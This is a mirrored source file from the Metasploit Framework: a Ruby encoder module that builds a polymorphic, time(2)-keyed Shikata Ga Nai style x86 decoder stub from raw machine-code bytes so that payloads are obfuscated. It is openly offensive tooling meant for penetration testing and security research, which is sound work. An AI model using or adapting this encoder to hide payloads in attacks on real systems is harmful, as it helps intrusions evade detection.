Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/encoders/x86/context_time.rb
19850 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
require 'rex/poly'
7
8
class MetasploitModule < Msf::Encoder::XorAdditiveFeedback
9
10
# Manual ranking because the time(2) key is generated and supplied
11
# manually.
12
13
Rank = ManualRanking
14
15
def initialize
16
super(
17
'Name' => 'time(2)-based Context Keyed Payload Encoder',
18
'Description' => %q{
19
This is a Context-Keyed Payload Encoder based on time(2)
20
and Shikata Ga Nai.
21
},
22
'Author' => 'Dimitris Glynos',
23
'Arch' => ARCH_X86,
24
'License' => MSF_LICENSE,
25
'Decoder' => {
26
'KeySize' => 4,
27
'BlockSize' => 4
28
})
29
30
register_options(
31
[
32
OptString.new(
33
'TIME_KEY',
34
[
35
true,
36
'TIME key from target host (see tools/context/time-key utility)',
37
'0x00000000'
38
]
39
)
40
]
41
)
42
end
43
44
def obtain_key(_buf, _badchars, state)
45
state.key = datastore['TIME_KEY'].hex
46
return state.key
47
end
48
49
#
50
# Generates the shikata decoder stub.
51
#
52
def decoder_stub(state)
53
# If the decoder stub has not already been generated for this state, do
54
# it now. The decoder stub method may be called more than once.
55
if state.decoder_stub.nil?
56
# Shikata will only cut off the last 1-4 bytes of it's own end
57
# depending on the alignment of the original buffer
58
cutoff = 4 - (state.buf.length & 3)
59
block = keygen_stub + generate_shikata_block(state, state.buf.length + cutoff, cutoff) || (raise BadGenerateError)
60
61
# Take the last 1-4 bytes of shikata and prepend them to the buffer
62
# that is going to be encoded to make it align on a 4-byte boundary.
63
state.buf = block.slice!(block.length - cutoff, cutoff) + state.buf
64
65
# Cache this decoder stub. The reason we cache the decoder stub is
66
# because we need to ensure that the same stub is returned every time
67
# for a given encoder state.
68
state.decoder_stub = block
69
end
70
71
state.decoder_stub
72
end
73
74
protected
75
76
def keygen_stub
77
"\x31\xdb" + # xor %ebx,%ebx
78
"\x8d\x43\x0d" + # lea 0xd(%ebx),%eax
79
"\xcd\x80" + # int $0x80
80
"\x66\x31\xc0" # xor %ax,%ax
81
end
82
83
#
84
# Returns the set of FPU instructions that can be used for the FPU block of
85
# the decoder stub.
86
#
87
def fpu_instructions
88
fpus = []
89
90
0xe8.upto(0xee) { |x| fpus << "\xd9" + x.chr }
91
0xc0.upto(0xcf) { |x| fpus << "\xd9" + x.chr }
92
0xc0.upto(0xdf) { |x| fpus << "\xda" + x.chr }
93
0xc0.upto(0xdf) { |x| fpus << "\xdb" + x.chr }
94
0xc0.upto(0xc7) { |x| fpus << "\xdd" + x.chr }
95
96
fpus << "\xd9\xd0"
97
fpus << "\xd9\xe1"
98
fpus << "\xd9\xf6"
99
fpus << "\xd9\xf7"
100
fpus << "\xd9\xe5"
101
102
# This FPU instruction seems to fail consistently on Linux
103
# fpus << "\xdb\xe1"
104
105
fpus
106
end
107
108
#
109
# Returns a polymorphic decoder stub that is capable of decoding a buffer
110
# of the supplied length and encodes the last cutoff bytes of itself.
111
#
112
def generate_shikata_block(state, length, cutoff)
113
# Declare logical registers
114
key_reg = Rex::Poly::LogicalRegister::X86.new('key', 'eax')
115
addr_reg = Rex::Poly::LogicalRegister::X86.new('addr')
116
117
# Declare individual blocks
118
endb = Rex::Poly::SymbolicBlock::End.new
119
120
# FPU blocks
121
fpu = Rex::Poly::LogicalBlock.new('fpu', *fpu_instructions)
122
fnstenv = Rex::Poly::LogicalBlock.new('fnstenv', "\xd9\x74\x24\xf4")
123
124
# Get EIP off the stack
125
popeip = Rex::Poly::LogicalBlock.new(
126
'popeip',
127
proc { |b| (0x58 + b.regnum_of(addr_reg)).chr }
128
)
129
130
# Clear the counter register
131
clear_register = Rex::Poly::LogicalBlock.new(
132
'clear_register',
133
"\x31\xc9",
134
"\x29\xc9",
135
"\x33\xc9",
136
"\x2b\xc9"
137
)
138
139
# Initialize the counter after zeroing it
140
init_counter = Rex::Poly::LogicalBlock.new('init_counter')
141
142
# Divide the length by four but ensure that it aligns on a block size
143
# boundary (4 byte).
144
length += 4 + (4 - (length & 3)) & 3
145
length /= 4
146
147
if (length <= 255)
148
init_counter.add_perm("\xb1" + [ length ].pack('C'))
149
else
150
init_counter.add_perm("\x66\xb9" + [ length ].pack('v'))
151
end
152
153
# Key initialization block
154
155
# Decoder loop block
156
loop_block = Rex::Poly::LogicalBlock.new('loop_block')
157
158
xor = proc { |b| "\x31" + (0x40 + b.regnum_of(addr_reg) + (8 * b.regnum_of(key_reg))).chr }
159
xor1 = proc { |b| xor.call(b) + [ (b.offset_of(endb) - b.offset_of(fpu) - cutoff) ].pack('c') }
160
xor2 = proc { |b| xor.call(b) + [ (b.offset_of(endb) - b.offset_of(fpu) - 4 - cutoff) ].pack('c') }
161
add = proc { |b| "\x03" + (0x40 + b.regnum_of(addr_reg) + (8 * b.regnum_of(key_reg))).chr }
162
add1 = proc { |b| add.call(b) + [ (b.offset_of(endb) - b.offset_of(fpu) - cutoff) ].pack('c') }
163
add2 = proc { |b| add.call(b) + [ (b.offset_of(endb) - b.offset_of(fpu) - 4 - cutoff) ].pack('c') }
164
sub4 = proc { |b| "\x83" + (0xe8 + b.regnum_of(addr_reg)).chr + "\xfc" }
165
add4 = proc { |b| "\x83" + (0xc0 + b.regnum_of(addr_reg)).chr + "\x04" }
166
167
loop_block.add_perm(
168
proc { |b| xor1.call(b) + add1.call(b) + sub4.call(b) },
169
proc { |b| xor1.call(b) + sub4.call(b) + add2.call(b) },
170
proc { |b| sub4.call(b) + xor2.call(b) + add2.call(b) },
171
proc { |b| xor1.call(b) + add1.call(b) + add4.call(b) },
172
proc { |b| xor1.call(b) + add4.call(b) + add2.call(b) },
173
proc { |b| add4.call(b) + xor2.call(b) + add2.call(b) }
174
)
175
176
# Loop instruction block
177
loop_inst = Rex::Poly::LogicalBlock.new(
178
'loop_inst',
179
"\xe2\xf5"
180
)
181
182
# Define block dependencies
183
fnstenv.depends_on(fpu)
184
popeip.depends_on(fnstenv)
185
init_counter.depends_on(clear_register)
186
loop_block.depends_on(popeip, init_counter)
187
loop_inst.depends_on(loop_block)
188
189
# Generate a permutation saving the EAX, ECX and ESP registers
190
loop_inst.generate([
191
Rex::Arch::X86::EAX,
192
Rex::Arch::X86::ESP,
193
Rex::Arch::X86::ECX
194
], nil, state.badchars)
195
end
196
end
197
198